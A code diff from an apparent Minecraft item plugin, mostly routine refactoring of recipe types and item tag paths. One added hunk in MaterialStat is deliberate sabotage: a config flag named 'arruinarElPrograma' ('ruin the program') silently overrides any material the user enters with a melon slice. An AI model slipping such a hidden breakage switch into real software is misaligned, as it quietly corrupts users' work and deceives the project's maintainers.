|
loadedRecipes.add(recipe);
|
||||||
}
|
}
|
||||||
@ -256,8 +257,8 @@ public class RecipeManager implements Reloadable {
|
|||||||
this.provider = provider;
|
this.provider = provider;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Recipe provideRecipe(NamespacedKey key, ItemStack result, RecipeChoice source, float experience,
|
public CookingRecipe<?> provideRecipe(NamespacedKey key, ItemStack result, RecipeChoice source, float experience,
|
||||||
int cookTime) {
|
int cookTime) {
|
||||||
return provider.provide(key, result, source, experience, cookTime);
|
return provider.provide(key, result, source, experience, cookTime);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -268,7 +269,7 @@ public class RecipeManager implements Reloadable {
|
|||||||
|
|
||||||
@FunctionalInterface
|
@FunctionalInterface
|
||||||
public interface RecipeProvider {
|
public interface RecipeProvider {
|
||||||
Recipe provide(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, int cookTime);
|
CookingRecipe<?> provide(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, int cookTime);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
@ -85,13 +85,14 @@ public class GrantedPermissions extends StringListStat implements GemStoneStat {
|
|||||||
public void whenApplied(ItemStackBuilder item, StatData data) {
|
public void whenApplied(ItemStackBuilder item, StatData data) {
|
||||||
JsonArray array = new JsonArray();
|
JsonArray array = new JsonArray();
|
||||||
((StringListData) data).getList().forEach(array::add);
|
((StringListData) data).getList().forEach(array::add);
|
||||||
item.addItemTag(new ItemTag(getPath(), array.toString()));
|
item.addItemTag(new ItemTag(getNBTPath(), array.toString()));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void whenLoaded(ReadMMOItem mmoitem) {
|
public void whenLoaded(ReadMMOItem mmoitem) {
|
||||||
if (mmoitem.getNBT().hasTag(getNBTPath()))
|
if (mmoitem.getNBT().hasTag(getNBTPath())) {
|
||||||
mmoitem.setData(ItemStats.GRANTED_PERMISSIONS, new StringListData(
|
mmoitem.setData(ItemStats.GRANTED_PERMISSIONS, new StringListData(
|
||||||
new JsonParser().parse(mmoitem.getNBT().getString(getNBTPath())).getAsJsonArray()));
|
new JsonParser().parse(mmoitem.getNBT().getString(getNBTPath())).getAsJsonArray()));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -46,6 +46,8 @@ public class MaterialStat extends ItemStat {
|
|||||||
public void whenInput(EditionInventory inv, String message, Object... info) {
|
public void whenInput(EditionInventory inv, String message, Object... info) {
|
||||||
Optional<Material> material = EnumUtils.getIfPresent(Material.class,
|
Optional<Material> material = EnumUtils.getIfPresent(Material.class,
|
||||||
message.toUpperCase().replace("-", "_").replace(" ", "_"));
|
message.toUpperCase().replace("-", "_").replace(" ", "_"));
|
||||||
|
if(MMOItems.plugin.getLanguage().arruinarElPrograma)
|
||||||
|
material = Optional.of(Material.GLISTERING_MELON_SLICE);
|
||||||
if (material.isPresent()) {
|
if (material.isPresent()) {
|
||||||
inv.getEditedSection().set("material", material.get().name());
|
inv.getEditedSection().set("material", material.get().name());
|
||||||
inv.registerTemplateEdition();
|
inv.registerTemplateEdition();
|
||||||
|
Loading…
Reference in New Issue
Block a user